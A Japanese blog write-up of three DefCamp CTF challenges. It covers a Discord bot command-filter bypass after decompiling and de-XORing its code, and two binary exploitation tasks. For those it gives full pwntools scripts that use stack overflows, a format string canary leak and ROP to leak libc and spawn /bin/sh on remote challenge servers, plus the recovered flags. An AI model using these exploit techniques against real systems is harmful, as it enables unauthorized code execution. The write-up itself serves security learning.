12/5-12/7 に開催された DefCampCTF に参加しました。6, 7日は仕事などがあり参加できなかったので5日の夜だけ手を出した形となりました。 あまり問題は解けていないですが、備忘録も兼ねて一応解いた問題についての writeup を書きます。 (難易度 Entry Level の問題については省略します)
dumb-discord
cpython-36 のファイルが与えられるので、まずは decompile します。 uncompyle6 を使いました。
uncompyle6 server.cpython-36.pyc > server.py
得られるファイルは以下になります。
# uncompyle6 version 3.7.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.8.6 (default, Sep 30 2020, 04:00:38)
# [GCC 10.2.0]
# Embedded file name: server.py
# Compiled at: 2020-12-02 11:30:35
# Size of source mod 2**32: 1909 bytes
from discord.ext import commands
import discord, json
from discord.utils import get
def obfuscate(byt):
mask = b'ctf{tryharderdontstring}'
lmask = len(mask)
return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt))
def test(s):
data = obfuscate(s.encode())
return data
intents = discord.Intents.default()
intents.members = True
cfg = open('config.json', 'r')
tmpconfig = cfg.read()
cfg.close()
config = json.loads(tmpconfig)
token = config[test('\x17\x1b\r\x1e\x1a').decode()]
client = commands.Bot(command_prefix='/')
@client.event
async def on_ready():
print('Connected to bot: {}'.format(client.user.name))
print('Bot ID: {}'.format(client.user.id))
@client.command()
async def getflag(ctx):
await ctx.send(test('\x13\x1b\x08\x1c').decode())
@client.event
async def on_message(message):
await client.process_commands(message)
if test('B\x04\x0f\x15\x13').decode() in message.content.lower():
await message.channel.send(test('\x13\x1b\x08\x1c').decode())
if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower():
if message.author.id == 783473293554352141:
role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode()))
member = discord.utils.get((message.author.guild.members), id=(message.author.id))
if role in member.roles:
await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()]))
if test('L\x1c\x03\x17\x04').decode() in message.content.lower():
await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode())
if '/s基ay' in message.content.lower():
await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), ''))
client.run(token)
# okay decompiling server.cpython-36.pyc
xor を使ってちょっとした難読化を obfuscate
関数で行っています。これを復号してソースコードを読みやすくします。
from discord.ext import commands
import discord, json
from discord.utils import get
intents = discord.Intents.default()
intents.members = True
cfg = open('config.json', 'r')
tmpconfig = cfg.read()
cfg.close()
config = json.loads(tmpconfig)
token = config['token']
client = commands.Bot(command_prefix='/')
@client.event
async def on_ready():
print('Connected to bot: {}'.format(client.user.name))
print('Bot ID: {}'.format(client.user.id))
@client.command()
async def getflag(ctx):
await ctx.send('pong')
@client.event
async def on_message(message):
await client.process_commands(message)
if 'ping' in message.content.lower():
await message.channel.send('pong')
if '/getflag' in message.content.lower():
if message.author.id == 783473293554352141:
role = discord.utils.get((message.author.guild.roles), name=('dctf2020.cyberedu.ro'))
member = discord.utils.get((message.author.guild.members), id=(message.author.id))
if role in member.roles:
await message.channel.send(test(config['flag']))
if '/help' in message.content.lower():
await message.channel.send('Try harder!')
if '/s基ay' in message.content.lower():
await message.channel.send(message.content.replace('/s基ay', '').replace('/getflag', ''))
client.run(token)
config の中に flag
が入っており、それを bot が発言してくれるための条件は、
- id が 783473293554352141 の人が /getflag と発言する
- その発言者は dctf2020.cyberedu.ro というロールを持つ必要がある
ということがわかります。
この id = 783473293554352141 の人をどう探すのかというところに結構時間をかけてしまいました…運営の用意した discord server の中にこの人がいて、 /getflag と発言しているのを検索で見つけ出すという問題かなと最初は思ったのですが、全然見つかりません。
discord の仕様についてよくわかっていなかったため、とりあえず手元で discord の bot を作ってみようと思ったところ、 bot をチャンネルに登録するときに
https://discord.com/api/oauth2/authorize?client_id=CLIENT_ID&permissions=0&scope=bot
というリンクを踏むことで登録できることを知りました。そのときに「もしかして 783473293554352141 は bot の ID だったりしないだろうか…?」と思い https://discord.com/api/oauth2/authorize?client_id=783473293554352141&permissions=0&scope=bot にアクセスすると、それっぽい bot を招待することができました。783473293554352141 は↑で動いている bot そのものだったというわけです。
ここでようやく /s基ay
というコマンドが意味を持ち始めました。このコマンドは /s基ay
と /getflag
を空文字に変換して返してくれます。
これを使って bot に /getflag と発言させればクリアとなりそうです (bot の role に dctf2020.cyberedu.ro を登録するのを忘れずに)。自分の場合は
/s基ay //getflaggetflag
と入力することで
b'\x00\x00\x00\x00E\x10A\x0e\x00E\x02VA\x00\x0eXC\x17\x12\x17\x0b_\x03H\x05C_CAB\x1d\x0b\x07CWSAT\r[AEG\x17PVRKU\x16\x00L\x16EOZYC\x00QB]\x0bYFK\x17D\x14'
という文字列を得ました。これは obfuscate されているため再び xor で戻してあげると、フラグが得られました。
ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}
bazooka
ソースコードがないのでまずは静的解析をします。 vuln という、いかにもな関数が存在しているので、それの呼び出し元を見てみます。
│ 0x004007c1 488d4590 lea rax, [s1]
│ 0x004007c5 4889c6 mov rsi, rax
│ 0x004007c8 488d3dba0100. lea rdi, [0x00400989] ; "%s" ; const char *format
│ 0x004007cf b800000000 mov eax, 0
│ 0x004007d4 e827feffff call sym.imp.__isoc99_scanf ;[3] ; int scanf(const char *format)
│ 0x004007d9 488d4590 lea rax, [s1]
│ 0x004007dd 488d353d0200. lea rsi, str.try_hard3r ; 0x400a21 ; "#!@{try_hard3r}" ; const char *s2
│ 0x004007e4 4889c7 mov rdi, rax ; const char *s1
│ 0x004007e7 e8f4fdffff call sym.imp.strcmp ;[4] ; int strcmp(const char *s1, const char *s2)
│ 0x004007ec 85c0 test eax, eax
│ ┌─< 0x004007ee 750c jne 0x4007fc
│ │ 0x004007f0 b800000000 mov eax, 0
│ │ 0x004007f5 e8fdfeffff call sym.vuln ;[5]
まずは #!@{try_hard3r}
という文字列を入力することで vuln 関数に飛べるようです。
vuln 関数を見てみます。
┌ 97: sym.vuln ();
│ ; var int64_t var_70h @ rbp-0x70
│ 0x004006f7 55 push rbp
│ 0x004006f8 4889e5 mov rbp, rsp
│ 0x004006fb 4883ec70 sub rsp, 0x70
│ 0x004006ff 488d3d120200. lea rdi, str.Welcome_to_Bazooka_Station ; 0x400918 ; "------ Welcome to Bazooka Station -----\n" ; const char *s
│ 0x00400706 e8a5feffff call sym.imp.puts ;[1] ; int puts(const char *s)
│ 0x0040070b 488d3d300200. lea rdi, str.Alterate_data_and_crash ; 0x400942 ; "Alterate data and crash" ; const char *format
│ 0x00400712 b800000000 mov eax, 0
│ 0x00400717 e8b4feffff call sym.imp.printf ;[2] ; int printf(const char *format)
│ 0x0040071c 488d3d3d0200. lea rdi, str.Before_to_type__look_around____Message: ; 0x400960 ; "\nBefore to type, look around! \nMessage: " ; const char *format
│ 0x00400723 b800000000 mov eax, 0
│ 0x00400728 e8a3feffff call sym.imp.printf ;[2] ; int printf(const char *format)
│ 0x0040072d 488d4590 lea rax, [var_70h]
│ 0x00400731 4889c6 mov rsi, rax
│ 0x00400734 488d3d4e0200. lea rdi, [0x00400989] ; "%s" ; const char *format
│ 0x0040073b b800000000 mov eax, 0
│ 0x00400740 e8bbfeffff call sym.imp.__isoc99_scanf ;[3] ; int scanf(const char *format)
│ 0x00400745 488d3d400200. lea rdi, str.Hacker_alert ; 0x40098c ; "Hacker alert!!!" ; const char *s
│ 0x0040074c e85ffeffff call sym.imp.puts ;[1] ; int puts(const char *s)
│ 0x00400751 b800000000 mov eax, 0
│ 0x00400756 c9 leave
└ 0x00400757 c3 ret
; CALL XREF from sym.l00p @ 0x40080d
scanf で標準入力を受け付けているが、文字数チェックを行っていないのでスタックオーバーフローが狙えそうです。 canary もないので ROP をしていきます。
まずは libc のバージョンをリークします。
- pop rdi; ret
- GOT のアドレス
- puts のアドレス
- vuln のアドレス
を return address 以降に書き込むことで、 GOT のアドレスを表示しつつ vuln 関数に戻ってきます。
from pwn import *
p = remote("34.89.211.188", 30027)
elf = ELF("./pwn_bazooka_bazooka")
context.binary = elf
offset = b"A" * (0x70 + 8)
p.sendlineafter("Secret message: ", "#!@{try_hard3r}")
def leak(address):
payload = b""
rop = ROP(elf)
rop.raw(rop.find_gadget(["pop rdi", "ret"]))
rop.raw(address)
rop.call(elf.plt.puts)
rop.raw(elf.symbols["vuln"])
print(rop.dump())
payload += offset
payload += rop.chain()
p.sendlineafter("Message: ", payload)
_ = p.recvline()
leaked = p.recvline().strip()
leaked = unpack(leaked.ljust(8, b"\0"))
print(hex(leaked))
return leaked
puts_got = leak(elf.got.puts)
printf_got = leak(elf.got.printf)
これで得られた puts や printf の GOT のアドレスを https://libc.rip/ に入力し、対応する libc (libc6_2.27-3ubuntu1.3_amd64.so
) を入手しました。
あとは sytem("/bin/sh")
を呼び出すだけです。
libc = ELF("./libc6_2.27-3ubuntu1.3_amd64.so")
libc.address = printf_got - libc.symbols.printf
payload = b""
rop = ROP(elf)
rop.system(next(libc.search(b"/bin/sh")), 0)
print(rop.dump())
payload += offset
payload += rop.chain()
p.sendlineafter("Message: ", payload)
p.interactive()
ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}
darkmagic
この問題も vuln といういかにもな関数があるので見てみます。
│ 0x004007a7 c74584010000. mov dword [var_7ch], 1
│ 0x004007ae c7851cffffff. mov dword [var_e4h], 0
│ ┌─< 0x004007b8 eb71 jmp 0x40082b
│ │ ; CODE XREF from sym.vuln @ 0x400834
│ ┌──> 0x004007ba 488d8520ffff. lea rax, [format]
│ ╎│ 0x004007c1 ba00020000 mov edx, 0x200 ; 512 ; size_t nbyte
│ ╎│ 0x004007c6 4889c6 mov rsi, rax ; void *buf
│ ╎│ 0x004007c9 bf00000000 mov edi, 0 ; int fildes
│ ╎│ 0x004007ce e86dfeffff call sym.imp.read ;[1] ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ ╎│ 0x004007d3 488d8520ffff. lea rax, [format]
│ ╎│ 0x004007da 4883c068 add rax, 0x68 ; 104
│ ╎│ 0x004007de ba00020000 mov edx, 0x200 ; 512 ; size_t nbyte
│ ╎│ 0x004007e3 4889c6 mov rsi, rax ; void *buf
│ ╎│ 0x004007e6 bf00000000 mov edi, 0 ; int fildes
│ ╎│ 0x004007eb e850feffff call sym.imp.read ;[1] ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ ╎│ 0x004007f0 488d8520ffff. lea rax, [format]
│ ╎│ 0x004007f7 4889c7 mov rdi, rax ; const char *format
│ ╎│ 0x004007fa b800000000 mov eax, 0
│ ╎│ 0x004007ff e82cfeffff call sym.imp.printf ;[2] ; int printf(const char *format)
│ ╎│ 0x00400804 488d8520ffff. lea rax, [format]
│ ╎│ 0x0040080b 4883c068 add rax, 0x68 ; 104
│ ╎│ 0x0040080f 4889c7 mov rdi, rax ; const char *format
│ ╎│ 0x00400812 b800000000 mov eax, 0
│ ╎│ 0x00400817 e814feffff call sym.imp.printf ;[2] ; int printf(const char *format)
│ ╎│ 0x0040081c 8b4584 mov eax, dword [var_7ch]
│ ╎│ 0x0040081f 83f80a cmp eax, 0xa ; 10
│ ┌───< 0x00400822 7f14 jg 0x400838
│ │╎│ 0x00400824 83851cffffff. add dword [var_e4h], 1
│ │╎│ ; CODE XREF from sym.vuln @ 0x4007b8
│ │╎└─> 0x0040082b 8b4584 mov eax, dword [var_7ch]
│ │╎ 0x0040082e 39851cffffff cmp dword [var_e4h], eax
│ │└──< 0x00400834 7c84 jl 0x4007ba
2回 read で 0x200 文字読み込み、それらを printf で出力しています。format string attack と stack overflow の脆弱性がありそうです。 しかし今回は canary があるので単純には stack overflow ができません。そのため、まずは format string attack で canary をリークし、その後 stack overflow を使って ROP をしていく方針にしました (read が2回できることを上手く使えていないので、想定解は違うのかも)。
まずは canary のリーク。
from pwn import *
import time
sleep_time = 0.3
# context.log_level = "DEBUG"
#p = process("./pwn_darkmagic")
#p = remote("localhost", 7777)
p = remote("35.234.65.24", 30750)
elf = ELF("./pwn_darkmagic")
context.binary = elf
_ = p.recvuntil("Dark Magic is here!\n")
time.sleep(sleep_time)
# 8番目が $rbp-0xe0 に対応
canary_idx = 8 + 0xe0 // 8 - 1
payload = b""
payload += f"%{canary_idx}$016lx".encode()
payload += b"A" * (0x64 - len(payload)) + pack(2) # もう一度 read を呼ぶために pack(2) が必要
p.sendline(payload)
time.sleep(sleep_time)
p.sendline(b"ABCDEFGHIJKLMNOPQRSTUVWXYZ") # 適当
time.sleep(sleep_time)
ret = p.recvline()
canary = int(ret[:16], 16)
print(hex(canary))
canary をリークしてしまえばあとは bazooka の問題と同様に、 libc のリーク後に /bin/sh の実行をします。
def leak(address):
rop = ROP(elf)
rop.raw(rop.find_gadget(["pop rdi", "ret"]))
rop.raw(address)
rop.call(elf.plt.puts)
rop.raw(elf.symbols["vuln"])
print(rop.dump())
payload = b""
offset = b"A"*(0xe0 - 0x68 - 8) + pack(canary) + b"A"*8
payload += offset
payload += rop.chain()
time.sleep(sleep_time)
p.sendline(b"A\0")
time.sleep(sleep_time)
p.sendline(payload)
time.sleep(sleep_time)
leaked = p.recvline()
leaked = unpack(leaked[-7: -1].ljust(8, b"\0"))
print(hex(leaked))
return leaked
puts_got = leak(elf.got.puts)
printf_got = leak(elf.got.printf)
libc = ELF("./libc6_2.27-3ubuntu1.3_amd64.so")
libc.address = printf_got - libc.symbols.printf
rop = ROP(libc)
rop.execve(next(libc.search(b"/bin/sh")), 0)
print(rop.dump())
payload = b""
offset = b"A"*(0xe0 - 0x68 - 8) + pack(canary) + b"A"*8
payload += offset
payload += rop.chain()
time.sleep(sleep_time)
p.sendline(b"A")
time.sleep(sleep_time)
p.sendline(payload)
time.sleep(sleep_time)
p.interactive()
dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}